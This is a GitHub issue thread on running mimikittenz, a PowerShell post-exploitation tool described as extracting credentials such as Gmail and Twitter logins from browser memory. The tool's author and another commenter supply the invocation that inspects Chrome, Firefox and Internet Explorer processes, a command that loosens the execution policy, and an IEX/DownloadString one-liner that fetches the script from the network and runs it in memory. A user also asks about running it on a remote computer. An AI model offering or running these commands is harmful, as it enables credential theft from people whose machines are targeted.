orlyjamie / mimikittenz

A post-exploitation powershell tool for extracting juicy info from memory.
1.82k stars 334 forks source link

How run it #2

Closed tieuhodo closed 8 years ago

tieuhodo commented 8 years ago

I try run it on Win7x64 but it don't show result

tieuhodo commented 8 years ago

Please help me!!

orlyjamie commented 8 years ago

What are you trying to pull from memory (Gmail, Twitter credentials etc)? What is the target process (Chrome, FF, IE etc)?

scopolamin commented 8 years ago

The functions is never called ... so you've 3 options:

1) Call the function from the file (=> last line)

function Invoke-mimikittenz
{
  /* code */
  write-output $asciiart
  $matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")

  write-output $matches
}

Invoke-mimikittenz

2) Invoke the functions from the file

PS C:> powershell -command "& { . C:\foo\bar\Invoke-mimikittenz.ps1; Invoke-mimikittenz }"

3) Load the file and call the function

PS C:\foo\bar> . .\Invoke-mimikittenz.ps1 PS C:\foo\bar> Invoke-mimikittenz

tieuhodo commented 8 years ago

powershell

scopolamin commented 8 years ago

PS C:> Set-ExecutionPolicy RemoteSigned

scopolamin commented 8 years ago

http://www.howtogeek.com/106273/how-to-allow-the-execution-of-powershell-scripts-on-windows-7/

orlyjamie commented 8 years ago

PS execution policy is default restrictive, besides changing your execution policy you can run the following single command:

IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'));Invoke-mimikittenz

Note: Be patient and wait for the output, the more tabs you have open the longer it's going to take.

tieuhodo commented 8 years ago

How run it on remote computer with command full

tieuhodo commented 8 years ago

powershell

tieuhodo commented 8 years ago

powershell

orlyjamie commented 8 years ago

That's good, let it run - Leave it for up to 3-5 minutes if you have to.

tieuhodo commented 8 years ago

if i download it and run?? What list commands i must run?? Thanks

orlyjamie commented 8 years ago

You invoke the function Invoke-mimikittenz - I already included this in my comment for you.